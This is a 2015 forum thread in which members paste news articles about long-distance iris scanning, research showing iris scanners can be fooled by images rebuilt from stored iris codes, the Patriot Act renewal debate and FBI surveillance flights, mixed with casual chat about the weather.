"This project started when I was reading about how soldiers were using devices out in the field, using devices and trying to match just 5 inches away from harm's way," said Savvides. "I thought that if could we build a way that can protect our soldiers so that they can stand further away, they'd be safer. Capturing and recognizing from a distance could mean the difference from a soldier having to walk up to a person and step on an IED or walk up to a potential terrorist who may be strapped in explosives. Having the ability to detect threat from a distance can save lives."

Savvides believes that long-distance iris scanners could be used to prevent child trafficking, protect soldiers in the field and enable police to catch criminals who would otherwise escape justice. But unlike portable units or devices mounted on buildings, long-distance iris scans could be obtained without a subject's knowledge or consent, which creates new horizons for covert use and abuse. If the patented invention is further developed and adopted on a broader scale, it will have the ability to shift the balance between privacy and obscurity.

Databases of biometric identifiers are already being built up domestically. Last year, the National Journal reported that the FBI projected its database of biometric identifiers (including iris scans) could catalog up to 52 million photos of faces by 2015.

Savvides, whose background is in software, not optical engineering, worked with his students to develop a system that can capture an iris from 6 to 12 yards away. Desktop units can capture images of an iris 18 inches away, while airport scanners can capture images 1 to 2 yards away. CyLab's key innovation is the long-distance ability, combined with pattern recognition software. For the current prototype to work, a person's eye has to stay stationary for 3 seconds -- though a reflection in a mirror is sufficient, as you can see in the video embedded above. For its next version, CyLab is working on capturing images of eyes in motion.

As the technology matures and infrastructure barriers to its use fall, the primary issue is likely to be public opinion and the objections of civil liberties groups. The American Civil Liberties Union has warned of the privacy risks of eye tracking, including enabling governments or companies to make guesses about a person's sexuality, detect whether they have a mental illness or even see if they've been drinking or using drugs.

If long-distance iris recognition leaves the prototype stage, it will also become one of several surveillance tools that democratic governments must apply export controls to, in order to prevent authoritarian governments with poor human rights records from obtaining the technology. The same iris recognition software that could enable law enforcement to stop a known terrorist from crossing the Mexico border or a prevent a serial killer from skipping town at a train station could be applied in other contexts to identifying protestors and journalists for secret police to track down.

Savvides expressed frustration with the way that Hollywood has affected public views and understanding of biometrics, pointing to dystopian depictions of them in films like "Minority Report."

"What we don't see is the fact that every second there's a crime somewhere, there's CCTV footage, and law enforcement has no idea who it is," he said. "The CSI effect is not real."

Even if the CyLab's iris detection rig is a prototype, Savvides said that he's received strong interest from law enforcement agencies and at least one nonprofit, Seraphim Global, which provides technical support to human rights organizations and humanitarian causes. Savvidas also holds a patent for continuous authentication -- where an iris scanner could be used to ensure that only verified personnel are looking at health or legal records on a given screen.

Savvidas also noted that improved iris verification systems could be useful in a public health context, if they enable people to avoid touching screens that spread diseases. They could also help solve the issue of bad passwords.

Many of his peers in the biometrics industry agree with him. In a 2014 white paper from the International Biometrics & Identification Association, the group argues that facial recognition does not increase the use of surveillance or make "face stalking" more practical.

But critics also point to the security risk that huge databases of biometric markers could pose. When data breaches have led to stolen credit card numbers, consumers can change them. If digital biometric identifiers are stolen by hackers, it's difficult to change a fingerprint or eyeball.

When we talked through some of the potential issues, Savvides acknowledged the concerns and highlighted some potential technical solutions, like "cancellable biometrics" that distort the actual fingerprint or iris scan when it's stored. His lab has worked on techniques for cancelable biometric filters for face recognition.

"There are ways that you don't have to send your actual metrics somewhere," he said. "Even if it's stolen, how can someone use it? You would have to go to great lengths to spoof it, and the systems are getting better all the time, detecting if they are looking at a picture or a face."

While the potential for misuse exists, Savvides holds that positive applications of iris recognition scanning will be used for the public good, not against citizens. In his view, the Boston Marathon bombing was one example where law enforcement didn't have the tools it needed to catch a perpetrator. This kind of system might have helped.

"Guns can be used in a good way or a bad way," he said. "Anything can be misused. I condemn the use of technology being used in a bad way. I see a great demand for this tech to be used to save lives. I really hate that it's painted negatively. You could save so many people's lives, from criminals to abducted people."
[/b]
Title: Re: they know what you are doing
Post by: ArMaP on May 16, 2015, 09:01:06 am
I didn't read it all (too long), does this "long-distance iris recognition" detects if the iris is from a living eye (like the best close-distance systems do) or can I start selling glasses with famous politicians iris' on them? ;D
Title: Re: they know what you are doing
Post by: space otter on May 16, 2015, 10:28:43 am


well ArMaP.. since that was too long this will probably also be too long.. but the rain has me inside today so here ya go.. tons of info...
I think the answer to your question is..you're too late..already being done ;D




Black Hat: Iris scanners 'can be tricked' by hackers
26 July 2012
From the section Technology

Security researchers have discovered a way to replicate a person's eye to bypass iris-scanning security systems.

A team at the Universidad Autonoma de Madrid was able to recreate the image of an iris from digital codes of real irises stored in security databases.

The findings were shared at the annual Black Hat security conference in Las Vegas.

It raises doubts over what is considered to be one of the most secure methods of biometric security.

Researcher Javier Galbally and his team, which included researchers from West Virginia University, were able to print out synthetic images of irises.

In one experiment, the researchers tested their fake irises against a leading commercial-recognition system. In 80% of attempts, they said, the scanner believed it was a real eye.

While researchers have been able to create realistic iris images for some time, it is thought that this is the first instance where the fake image can be generated from the iris code of a real person - a method which could be used to steal someone's identity.

An iris code is the data stored by recognition systems when it scans a person's eye. It contains around 5,000 different pieces of information.

Digital WMD
The research was explained to an audience at the annual Black Hat conference, a meeting of the leading figures in IT security from across the world.

Shawn Henry, the former head of the FBI's cybercrime unit, gave a key speech at the event.

If we understand who the adversary is, we can take specific actionsShawn Henry, Former FBI cybercrime chief
He urged security experts to counter-attack in their attempts to stamp out criminal activity.

"We need warriors to fight our enemies, particularly in the cyber world right now," he told his audience.

"I believe the threat from computer network attack is the most significant threat we face as a civilised world, other than a weapon of mass destruction."

He called on the computer security industry to begin looking at ways of gathering intelligence on possible attacks and attackers, rather than seeking simply to block them when they happen.

"It is not enough to watch the perimeter," Mr Henry said.

"We have to be constantly hunting, looking for tripwires.

"Intelligence is the key to all of this. If we understand who the adversary is, we can take specific actions."



............................................



http://www.wired.com/2012/07/reverse-engineering-iris-scans/



LAS VEGAS — Remember that scene in Minority Report when the spider robots stalk Tom Cruise to his apartment and scan his iris to identify him?

Things could have turned out so much better for Cruise had he been wearing a pair of contact lenses embossed with an image of someone else’s iris.

New research being released this week at the Black Hat security conference by academics in Spain and the U.S. may make that possible.

The academics have found a way to recreate iris images that match digital iris codes that are stored in databases and used by iris-recognition systems to identify people. The replica images, they say, can trick commercial iris-recognition systems into believing they’re real images and could help someone thwart identification at border crossings or gain entry to secure facilities protected by biometric systems.

The work goes a step beyond previous work on iris-recognition systems. Previously, researchers have been able to create wholly synthetic iris images that had all of the characteristics of real iris images — but weren’t connected to real people. The images were able to trick iris-recognition systems into thinking they were real irises, though they couldn’t be used to impersonate a real person. But this is the first time anyone has essentially reverse-engineered iris codes to create iris images that closely match the eye images of real subjects, creating the possibility of stealing someone’s identity through their iris.

“The idea is to generate the iris image, and once you have the image you can actually print it and show it to the recognition system, and it will say ‘okay, this is the
guy,'” says Javier Galbally, who conducted the research with colleagues at the Biometric Recognition Group-ATVS, at the Universidad Autonoma de Madrid, and researchers at West Virginia University.



Click to Open Overlay GalleryOr is this?Click to Open Overlay GalleryIs this real?
Iris-recognition systems are rapidly growing in use around the world by law enforcement agencies and the commercial sector. They’re touted as faster, more sanitary and more accurate than fingerprint systems. Fingerprint systems measure about 20-40 points for matching while iris recognition systems measure about 240 points.

Schipol Airport in the Netherlands allows travelers to enter the country without showing a passport if they participate in its Privium iris recognition program. When travelers enroll in the program, their eyes are scanned to produce binary iris codes that are stored on a Privium card. At the border crossing, the details on the card are matched to a scan taken of the cardholder’s eye to allow the person passage.

Since 2004, airports in the United Kingdom have allowed travelers registered in its iris-recognition program to pass through automated border gates without showing a passport, though authorities recently announced they were dropping the program because passengers had trouble properly aligning their eyes with the scanner to get automated gates to open.

Google also uses iris scanners, along with other biometric systems, to control access to some of its data centers. And the FBI is currently testing an iris-recognition program on federal prison inmates in 47 states. Inmate iris scans are stored in a database managed by a private firm named BI2 Technologies and will be part of a program aimed at quickly identifying repeat offenders when they’re arrested as well as suspects who provide false identification.

When someone participates in an iris-recognition system, his or her eyes are scanned to create iris codes, which are binary representations of the image. The iris code, which consists of about 5,000 bits of data, is then stored in a database for matching. The iris code is stored instead of the iris image for security and privacy reasons.

When that person then later goes before an iris-recognition scanner – to obtain access to a facility, to cross a border or to access a computer, for example – their iris is scanned and measured against the iris code stored in the database to authenticate the person’s identity.

It’s long been believed that it wasn’t possible to reconstruct the original iris image from an iris code stored in a database. In fact, B12 Technologies says on its web site that biometric templates “cannot be reconstructed, decrypted, reverse-engineered or otherwise manipulated to reveal a person’s identity. In short, biometrics can be thought of as a very secure key: Unless a biometric gate is unlocked by using the right key, no one can gain access to a person’s identity.”

But the researchers showed that this is not always the case.


Click to Open Overlay GalleryAnd this?Click to Open Overlay GalleryWhat about this?
Their research involved taking iris codes that had been created from real eye scans as well as synthetic iris images created wholly by computers and modifying the latter until the synthetic images matched real iris images. The researchers used a genetic algorithm to achieve their results.

Genetic algorithms are tools that improve results over several iterations of processing data. In this case, the algorithm examined the synthetic images against the iris code and altered the images until it achieved one that would produce a near identical iris code as the original iris image when scanned.

“At each iteration it uses the synthetic images of the previous iteration to produce a new set of synthetic iris images that have an iris code which is more similar (than the synthetic images of the previous iteration) to the iris code being reconstructed,” Galbally says.

It takes the algorithm between 100-200 iterations to produce an iris image that is “sufficiently similar” to one the researchers are trying to reproduce.

Since no two images of the same iris produce the same iris code, iris recognition systems use a “similarity score” to match an image to the iris code. The owner of the scanner can set a threshold that determines how similar an image needs to be to the iris code to call it a match.

The genetic algorithm examines the similarity score given by the recognition system after each iteration and then improves the next iteration to obtain a better score.

“The genetic algorithm applies four … rules inspired in natural evolution to combine the synthetic iris images of one iteration in such a way … that they produce new and better synthetic iris images in the next generation — the same way that natural species evolve from generation to generation to adapt better to their habitat but in this case it is a little bit faster and we don´t have to wait millions of years, just a few minutes,” Galbally says.

Galbally says it takes about 5-10 minutes to produce an iris image that matches an iris code. He noted, though, that about 20 percent of the iris codes they attempted to recreate were resistant to the attack. He thinks this may be due to the algorithm settings.

Once the researchers perfected the synthetic images, they then scanned them against a commercial iris recognition system, and found that the scanner accepted them as matching iris images more than 80 percent of the time. They tested the images against the VeriEye iris recognition system made by Neurotechnology.

VeriEye’s algorithm is licensed to makers of iris-recognition systems and recently ranked among the top four in accuracy out of 86 algorithms tested in a competition by the National Institute of Standards and Technology. A Neurotechnology spokeswoman said there are currently 30-40 products using VeriEye technology and more are in development.

The iris codes the researchers used came from the Bio Secure database, a database of multiple kinds of biometric data collected from 1,000 subjects in Europe for research use by academics and others. The synthetic images were obtained from a database developed at West Virginia University.

After the researchers had successfully tricked the VeriEye system, they wanted to see how the reconstructed images would fare against real people. So they showed 50 real iris images and 50 images reconstructed from iris codes to two groups of people — those who have expertise in biometrics those who are untrained in the field. The images tricked the experts only 8 percent of the time, but the non-experts were tricked 35 percent of the time on average, a rate that is very high given there is a 50/50 chance of guessing correctly. It should be noted that even with their high rate of error, the non-expert group still scored better than the VeriEye algorithm.

The study assumes that someone conducting this kind of attack would have access to iris codes in the first place. But this might not be so hard to achieve if an attacker can trick someone into having their iris scanned or hacks into a database containing iris codes, such as the one that B12 technologies maintains for the FBI.

BI2 states on its web site that the iris images in its database are “encrypted using strong cryptographic algorithms to secure and protect them,” but the company could not be reached to obtain details about how exactly it secures these images. Even if BI2’s database is secure, other databases containing iris codes may not be.

Click to Open Overlay GallerySolution: The picture at the top of the post is a synthetic iris image. In the first set of images below that, the one on the left is real, the other synthetic. In the second set of images, the one on left is real, the one on right synthetic. And this final one? Authentic. Look hard, and you can even see the contact lens surrounding the iris.Go Back to Top. Skip To: Start of Article.
Black Hat Conference
cybersecurity
.............

http://www.messagetoeagle.com/irisscanningreverse.php#.VVd80KRFBMw

Biometrics: Eye-Scanners Can Be Fooled



........................................................


http://www.biometricupdate.com/201310/morpho-launches-long-distance-iris-recognition-device

Morpho launches long-distance iris recognition device
By Adam Vrankulj October 3, 2013 -

Morpho has announced the launch of a new product, the Morpho IAD (Iris at a Distance), which the company says is capable of capturing iris images at a distance of one metre.

According to the company, the IAD combines both iris and face capture, and can collect iris images at a distance of one metre in a second. This, says Morpho, makes it the fastest device available on the market.

“Innovation is in Morpho’s DNA – that is why we constantly develop disruptive technologies to meet ever-evolving security needs” Philippe Petitcolin, Chairman & CEO said. Our teams have worked hard for the past few years to accomplish this technological feat and we are thrilled to be launching the market’s fastest and most advanced iris capture device.”

MorphoTrust USA, a subsidiary of Morpho, was recently given top marks for its iris identification technologies, by a NIST evaluation. According to the company, Morpho’s technology proved to be the most accurate and among the fastest for iris recognition.


Morpho will unveil its new IAD device at GITEX 2013 in Dubai from October 20 – 24, 2013







http://ieeexplore.ieee.org/xpl/articleDetails.jsp?reload=true&arnumber=6779971

In this paper we introduce an algorithm to analyze the human iris, long-range iris recognition software has been developed to be more user-friendliness and create an economic way to the identification. Our algorithm centralized on pupil detection, and by using estimated ranges we omit the other regions to create more efficient search space. The final decision on iris region detection provides by Hough Transform. We use the Gaussian method to create a refined mask which has an important rule of the matching process. To extract efficient features of iris regions and matching we used SIFT algorithm, Results on CASIAV4-at Distance shows %93 as verification Rate.






[PDF]Robust Long Range Iris Recognition from Video Using ...
https://www.lti.cs.cmu.edu/.../yunghui_li_Ro... Cached

Carnegie Mellon University
Loading...
by Y Li - ?2010 - ?Cited by 3 - ?Related articles
(IOM) is one such system, offering significant stand-off acquisition distance ... deal with the three most challenging problems in long-range iris recognition: (1).


http://news.discovery.com/tech/gear-and-gadgets/iris-scanner-identifies-a-person-40-feet-away-150410.htm

Like similar biometric technologies — fingerprint or facial recognition systems — the Carnegie Mellon project uses mathematical pattern-recognition techniques. The technology captures images from a live photographic or video feed and runs them through a database to find a potential match.





http://www.irisid.com/productssolutions/technology-2/irisrecognitiontechnology/

6.  Safety and Security Measures In Place. Iris recognition involves nothing more than taking a digital picture of the iris pattern (from video), and recreating an encrypted digital template of that pattern. 512-byte iris templates are encrypted and cannot be re-engineered or reconstituted to produce any sort of visual image. Iris recognition therefore affords high level defense against identity theft, a rapidly growing crime. The imaging process involves no lasers or bright lights and authentication is essentially non-contact.






http://www.theatlantic.com/technology/archive/2015/05/long-range-iris-scanning-is-here/393065/

Iris scanning is already in use around the world. In the United States, police have scanned the irises of prisoners in custody for at least four years. “We have everybody in orange jumpsuits, so everyone looks the same. So, quite literally, the last thing we do before you leave our facility is we compare your iris to our database,” a spokesman for the Plymouth County jail in Massachusetts told Reuters in 2011.

Around the same time, the Indian government began scanning the iris of every citizen in order to assign them a Unique Identification Number, which they must have to receive certain government benefits. The United Arab Emirates has scanned the iris of everyone entering or leaving the country for more than a decade.

These existing technologies, though, only worked at close range. In fact, iris scanning has been defended in the U.S. so far because it seemed impossible to use it discreetly. You’d know if your irises were getting scanned.
Title: Re: they know what you are doing
Post by: ArMaP on May 16, 2015, 11:16:42 am

well ArMaP.. since that was too long this will probably also be too long.. but the rain has me inside today so here ya go.. tons of info...
I think the answer to your question is..you're too late..already being done ;D

You're right, it was too long, I only read the first part and skimmed over the rest. :)

It looks nobody is talking about something like this (http://www.newscientist.com/blog/invention/2006/03/dead-eyes-dont-work.html), methods that use the natural reaction of the eye to know if they are looking at a real, living eye or not.

PS: here we're having a perfect sunny day. ;D
Title: Re: they know what you are doing
Post by: zorgon on May 16, 2015, 01:17:20 pm
Your right Foruminions don't have a capacity to read more then 1 paragraph :P  So ya have to use a sensational title that makes the point :D

Interesting weather here  its 74 degrees and breezy,  Oddly enough checked the Farmers Almanac and they predicted this and say it will stay cool until June  calling for 80's for June and no 100 plus this year

Now this needs a new thread :P Before all the talk of geoengineering the Farmers Almanac ws the goto for weather data.

So HOW DO THEY KNOW WHAT IS COMING?


As to IRIS Recognition  that falls under BIOMETRICS and DHS is already using biometrics for Green Cards etc


RELIABILITY OF IRIS RECOGNITION AS A MEANS OF
IDENTITY VERIFICATION AND FUTURE IMPACT ON
TRANSPORTATION WORKER IDENTIFICATION
CREDENTIAL
by
Simon McLaren
March 2008
NAVAL POSTGRADUATE SCHOOL
MONTEREY, CALIFORNIA
Approved for public release; distribution is unlimited.

http://www.dtic.mil/dtic/tr/fulltext/u2/a479955.pdf

Statistical Pattern Recognition of the Iris
http://www.mil.ufl.edu/publications/fcrar04/fcrar2004_iris.pdf


I had a report some time ago about satellite facial recognition being tested in Iraq... I will have to find it. I know they have satellites that can read a newspaper over your shoulder :D  Add Smart Dust and Biometrics and we are getting into Star Trek level sensing from space

Title: Re: they know what you are doing
Post by: space otter on May 16, 2015, 04:26:02 pm


hey Z...move it to  where ever you feel it should be
Title: Re: they know what you are doing
Post by: zorgon on May 16, 2015, 09:39:56 pm
hey Z...move it to  where ever you feel it should be

No LOL I meant my off topic weather part :P
Title: Re: they know what you are doing
Post by: space otter on May 23, 2015, 03:56:06 am

this  country is soooooooo screwed up, I think it's running on memory and when it grinds to a halt I don't think they will be able to start it again.. chaos  :(



Senate adjourns with no clear path forward on Patriot Act

The Hill
Julian Hattem
1 hr ago

The Senate failed to move forward on legislation to reform the National Security Agency or renew the Patriot Act early on Saturday morning, making it almost a sure bet that portions of the Patriot Act expire at the end of the month.

After a frenzied series of votes that were repeatedly knocked down, Majority Leader Mitch McConnell (R-Ky.) ordered lawmakers to return home for the Memorial Day weekend and return at noon on May 31 for a rare Sunday session and “one more opportunity to act responsibly.”

That would give lawmakers just 12 hours to act before portions of the Patriot Act expire — a conclusion almost everyone has said would seriously hamper national security.

“We know what’s going on overseas. We know what’s been tried here at home,’ an exasperated McConnell told lawmakers after 1 a.m.

“We’ve got a week to discuss it. We’ll have one day to do it,” he added. “But we’d better get ready next Sunday afternoon to prevent the country from the danger by the total expiration of the program.”

Starting shortly after midnight on Saturday morning, the Senate voted 57-42 to block legislation to reform the NSA, called the USA Freedom Act.

The late vote to block the USA Freedom Act — approved by the House last week in a bipartisan 338-88 vote — was quickly followed by a vote to kill a planned two-month extension of the current law from Majority Leader Mitch McConnell (R-Ky.), 45-54. Sixty votes were needed to win on the procedural motion and proceed to the bill.

repeatedly blocked — to extend the June 1 deadline of the Patriot Act provisions to June 8, then June 5, followed by June 3 and finally June 2.

All were blocked. Sen. Rand Paul (R-Ky.) — fresh off his 10.5-hour floor speech opposing the Patriot Act — led the charge against McConnell’s effort, and was joined by Sens. Ron Wyden (D-Ore.) and Martin Heinrich (D-N.M.).

With lawmakers scrambling to find a solution to the looming deadline, there appears to be no agreed upon path forward. The prospect that the three provisions sunset at the end of the month appears more likely than ever.

“We’ve entered into a momentous debate,” Paul said in objecting to McConnell’s move. “This is a debate about whether or not a warrant is a single name of a single company can be used to collect all of the phone records of all of the people in our country.”

“Our forefathers would be aghast,” he added.

Paul is demanding that he be allowed to introduce amendments going forward, but he is clashing with GOP leaders.

The Patriot Act expires on June 1, and contains the provisions authorizing the NSA surveillance programs.

Since the House has recessed for the month, it seems nearly certain that the provisions will expire for at least a short while after the clock strikes midnight on May 31 but before House lawmakers return the afternoon of June 1.

“Make no mistake, it will expire,” said Sen. Barbara Mikulski (D-Md.), whose state includes the NSA’s headquarters.

The Senate’s inability to act is “absolutely outrageous,” she added. “I worry about our country and I worry about our ability to govern.”

“This is as serious as it gets.”

McConnell argued that moving forward with a shorter-term bill and then allowing Senate Intelligence Committee Chairman Richard Burr (R-N.C.) and Sen. Dianne Feinstein (D-Calif.) to work on their own bill was the only possible path forward.

“The two-month extension, it strikes me, would be in the best interest of getting an outcome that’s in the best interest for the Senate and the House and hopefully the president.”

Supporters of the bipartisan House bill, in contrast, were outraged.

“Let’s be clear what happened here,” Sen. Barbara Boxer (D-Calif.) said after the vote was finalized. “We tried with a majority to protect this country and the Republicans objected. Let’s be clear.”

A dozen Republican senators ended up supporting the USA Freedom Act, including presidential candidate Ted Cruz (R-Texas) and Sens. Mike Lee (R-Utah), Ron Johnson (R-Wis.), James Lankford (R-Okla.) and Tim Scott (R-S.C.)

Saturday morning’s failure was also a serious setback for the Obama administration, which had been lobbying members of Congress to pass the USA Freedom Act so that the Patriot Act provisions do not expire.

But while President Obama aggressively lobbied members of his own party to back him on fast-track trade legislation this week, the president was not as vocal on the NSA provisions.

At the end of the month, three parts of the Patriot Act are set to expire, including the controversial Section 215 which the NSA has used to collect in bulk records about millions of Americans’ phone calls. The program was revealed by Edward Snowden two years ago, and has been the target of reform for civil libertarians ever since.

Failure of the USA Freedom Act — after a similar setback in the closing days of Democrats’ majority in the Senate last year — sends the loudest message yet that Congress is unable to agree on reforming the nation’s intelligence powers.

Senior administration officials have said that uncertainty caused by inaction on the bill would force them to wind down the NSA’s bulk phone collection program in the coming days. They also said it would present a host of operational problems for the NSA and FBI.

In addition to the phone records program, Section 215 also give powers to the FBI to collect various records, and the other provisions allow the agency to target possible “lone wolf” terrorists and people who rely on anonymous “burner” phones.

“There is no Plan B,” White House spokesman Josh Earnest said earlier on Friday.

“The fact is we’ve got people in the United States Senate right now who are playing chicken with this,” he added. “And to play chicken with that is grossly irresponsible.”

This story was updated at 1:45 a.m.


http://www.msn.com/en-us/news/politics/senate-adjourns-with-no-clear-path-forward-on-patriot-act/ar-BBk9pTU

Title: Re: they know what you are doing
Post by: Shasta56 on May 23, 2015, 09:41:44 pm
Every time I read the title of this thread, I think "Thank God someone knows what I'm doing!"  The Senate has no clear path?  When does Congress, in general, ever have a clear path?

And following up on Zorgon's digression,  when is it going to stop raining here?

Shasta
Title: Re: they know what you are doing
Post by: zorgon on May 24, 2015, 01:06:09 am
And following up on Zorgon's digression,  when is it going to stop raining here?

After 40 days and 40 nights when the sewers back up :D
Title: Re: they know what you are doing
Post by: SerpUkhovian on May 24, 2015, 03:40:11 am
Quote
After 49 days and 40 nights when the sewers back up

R i i i i g h t . . . .
Title: Re: they know what you are doing
Post by: space otter on May 24, 2015, 11:41:33 am



After 40 days and 40 nights when the sewers back up :D


it wouldn't take that long...maybe two days of hard rain.. the sewer systems as well as the rest of the sub structure in this country is 50 years and older and not meant for the anount of folks we have today.....the feds have a sewer separation thing going..but in a heavy rain.. still  bad
sigh


http://www.wowt.com/home/headlines/Sewer-Separation-Project-Digs-In-198343501.html
Sewer Separation Project Digs In......The federal mandate



Title: Re: they know what you are doing
Post by: zorgon on May 24, 2015, 11:50:16 am
it wouldn't take that long...maybe two days of hard rain.. the sewer systems as well as the rest of the sub structure in this country is 50 years and older and not meant for the anount of folks we have today.....the feds have a sewer separation thing going..but in a heavy rain.. still  bad
sigh

LOL  You need an education :P 

[youtube]pfU92tDr8rg[/youtube]

https://www.youtube.com/watch?v=pfU92tDr8rg
Title: Re: they know what you are doing
Post by: space otter on May 24, 2015, 11:52:05 am


oh that used to make me laugh.. but not anymore

boo hiss to bc...
Title: Re: they know what you are doing
Post by: space otter on May 27, 2015, 05:06:22 am


White House: No 'Plan B' If Congress Fails To Act On Patriot Act
 


 Reuters 
 

 Posted:  05/26/2015 1:45 pm EDT    Updated:  05/26/2015 3:38 pm EDT



WASHINGTON, May 26 (Reuters) - The Obama administration has no backup plan if the U.S. Congress fails to act on legislation that would extend certain provisions of the USA Patriot Act, a White House spokesman said on Tuesday.

"I'm not aware of any sort of plan B that exists or that is currently being contemplated," White House spokesman Josh Earnest told reporters. "It would certainly put at grave risk these programs and could risk a lapse in some of these important national security capabilities."

Legislation to extend provisions for two months have stalled in the Senate, leaving the fate of the country's domestic surveillance program uncertain before its June 1 expiration. Republican U.S. Senate Majority Leader Mitch McConnell has said the chamber will return to Washington on May 31 to consider ways to prevent the expiration. (Reporting by Lisa Lambert and Doina Chiacu; Additional reporting by Patricia Zengerle)


waiting for  the 31st...they will just come up with something else
Title: Re: they know what you are doing
Post by: space otter on May 31, 2015, 05:52:11 pm
http://www.huffingtonpost.com/2015/05/31/senate-patriot-act_n_7480402.html


Senate Votes To Move Ahead On Debate Over Patriot Act Reforms
 
 Reuters 
   Posted:  05/31/2015 4:46 pm EDT    Updated:  44 minutes ago


By Patricia Zengerle and Warren Strobel

WASHINGTON, May 31 (Reuters) - The U.S. Senate advanced legislation on Sunday reforming a controversial program that collects Americans' telephone call records, but final passage appeared doubtful before the surveillance system expires at midnight.

A bill that would end U.S. spy agencies' bulk collection of the telephone data and replace it with a more targeted system cleared a crucial procedural hurdle, ending an impasse over whether to move ahead with the legislation.

The Senate voted 77-17 in favor of a measure that allowed the chamber to begin debate on the bill, called the USA Freedom Act. But the domestic surveillance program was still due to expire at midnight (0400 GMT on Monday) after Senator Rand Paul blocked several attempts at short-term extensions.

Senate rules mean it likely will be the middle of the week before the chamber can vote on whether or not to pass the Freedom Act, which extends the existing surveillance program for six months while the new system gets up and running.

Still, Paul, a Republican 2016 presidential hopeful who had vigorously opposed the Freedom Act, acknowledged after the procedural vote: "This bill will ultimately pass."

The bill would replace three key surveillance provisions of the USA Patriot Act, signed into law by Republican President George W. Bush after the Sept. 11, 2001, attacks on the United States.

Parts of it have been renewed under Democratic President Barack Obama. Under the law, the eavesdropping National Security Agency collects and searches U.S. telephone records - but not the content of the calls themselves - in a program first made public by former NSA contractor Edward Snowden.

Action to renew or reform the program had stalled in the Senate, due largely to disputes within the Republican Party, which holds majorities in both the House of Representatives and Senate.

Libertarians want the program ended altogether, while security hawks want it extended, unchanged.

The Senate came back early from its Memorial Day recess to resume consideration of the legislation at 4 p.m. EDT (2000 GMT) on Sunday, just as security officials said they had to begin shutting down the NSA program to meet the midnight deadline.

As the Senate session got underway, Paul vowed to force the program to expire, called it illegal and the beginning of a powerful surveillance state.

"It's the tip of the iceberg, what we're talking about here," he said.

But another Republican, Senator Dan Coats, warned that the phone records program could expire at a time of heightened militant threats.

The Islamic State group "has made a direct threat toward the United States and its citizens," Coats said. It "looks like we'll have the opportunity to debate this while the program expires," he said.

Supporters of the Freedom Act need 60 votes to move it forward in the 100-member Senate.

A previous attempt on May 23 fell three votes short and the bill's backers have been pushing hard to sway three more senators.

One senator who voted against the bill on May 23, Mark Kirk, an Illinois Republican, said on Sunday he would now vote "yes."

Senator Dean Heller, a Nevada Republican, said he believed there were now enough votes to pass the Freedom Act. "Everybody's come to their senses," he said.

The Freedom Act, which ends the spy agencies' bulk collection of domestic telephone "metadata" and replaces it with a more targeted system, has already passed the House by an overwhelming margin and has Obama's strong support.

Along with the call records program, other government investigative powers would lapse after midnight Sunday.

The Federal Bureau of Investigation will no longer be able to employ 'roving wiretaps' aimed at terrorism suspects who use multiple disposable cell phones, and it will have more difficulty seizing such suspects' and their associates' personal and business records.

A review panel that Obama established in 2013 concluded that the telephone metadata program had not been essential to preventing any terrorist attack. Security officials counter that it provides important data that, combined with other intelligence, can help stop attacks.

CIA Director John Brennan, appearing on CBS's "Face the Nation" program, said data collection was "important to American lives" and that being without them could mean missing warning of a big attack on the United States.

Under the Freedom Act, the telephone records would be held by telecommunications companies, not the government, and the NSA would have to get court approval to gain access to specific data. (Additional reporting by Douwe Miedema and Bill Trott.; Editing by Crispian Balmer, Mohammad Zargham and Eric Walsh)
Title: Re: they know what you are doing
Post by: space otter on June 01, 2015, 10:19:04 am


sadly come Wednesday they will just change the wording a bit and put it all back in place with the freedom act...yea.. freedom for them to continue
sigh

 :(
Title: Re: they know what you are doing
Post by: space otter on June 02, 2015, 06:58:56 am
 

 ahhhhh the news just gets better and better :'(


(http://i0.huffpost.com/gen/3020854/images/n-FBI-SURVEILLANCE-FLIGHTS-large.jpg)


FBI Confirms Wide-Scale Use Of Surveillance Flights Over U.S. Cities
 

vid at link

http://www.huffingtonpost.com/2015/06/02/fbi-surveillance-flights_n_7490396.html

AP      |  By JACK GILLUM, EILEEN SULLIVAN and ERIC TUCKER 
  Posted:  06/02/2015 3:07 am EDT    Updated:  5 hours ago


WASHINGTON (AP) — The FBI is operating a small air force with scores of low-flying planes across the U.S. carrying video and, at times, cellphone surveillance technology — all hidden behind fictitious companies that are fronts for the government, The Associated Press has learned.

The planes' surveillance equipment is generally used without a judge's approval, and the FBI said the flights are used for specific, ongoing investigations. In a recent 30-day period, the agency flew above more than 30 cities in 11 states across the country, an AP review found.

Aerial surveillance represents a changing frontier for law enforcement, providing what the government maintains is an important tool in criminal, terrorism or intelligence probes. But the program raises questions about whether there should be updated policies protecting civil liberties as new technologies pose intrusive opportunities for government spying.

The FBI confirmed for the first time the wide-scale use of the aircraft, which the AP traced to at least 13 fake companies, such as FVX Research, KQM Aviation, NBR Aviation and PXW Services. Even basic aspects of the program are withheld from the public in censored versions of official reports from the Justice Department's inspector general.

"The FBI's aviation program is not secret," spokesman Christopher Allen said in a statement. "Specific aircraft and their capabilities are protected for operational security purposes." Allen added that the FBI's planes "are not equipped, designed or used for bulk collection activities or mass surveillance."

But the planes can capture video of unrelated criminal activity on the ground that could be handed over for prosecutions.

Some of the aircraft can also be equipped with technology that can identify thousands of people below through the cellphones they carry, even if they're not making a call or in public. Officials said that practice, which mimics cell towers into coughing up basic subscriber information, is rare.

Details confirmed by the FBI track closely with published reports since at least 2003 that a government surveillance program might be behind suspicious-looking planes slowly circling neighborhoods. The AP traced at least 50 aircraft back to the FBI, and identified more than 100 flights since late April orbiting both major cities and rural areas.

One of the planes, photographed in flight last week by the AP in northern Virginia, bristled with unusual antennas under its fuselage and a camera on its left side. A federal budget document from 2010 mentioned at least 115 planes, including 90 Cessna aircraft, in the FBI's surveillance fleet.

The FBI said it also occasionally helps local police with aerial support, such as during the recent disturbance in Baltimore that followed the death of 25-year-old Freddie Gray, who sustained grievous injuries while in police custody. Those types of requests are reviewed by senior FBI officials.

The surveillance flights comply with agency rules, an FBI spokesman said. Those rules, which are heavily redacted in publicly available documents, limit the types of equipment the agency can use, as well as the justifications and duration of the surveillance.

Details about the flights come as the Justice Department seeks to navigate privacy concerns arising from aerial surveillance by unmanned aircrafts, or drones. President Barack Obama has said he welcomes a debate on government surveillance, and has called for more transparency about spying in the wake of disclosures about classified programs.

"These are not your grandparents' surveillance aircraft," said Jay Stanley, a senior policy analyst with the American Civil Liberties Union, calling the flights significant "if the federal government is maintaining a fleet of aircraft whose purpose is to circle over American cities, especially with the technology we know can be attached to those aircraft."

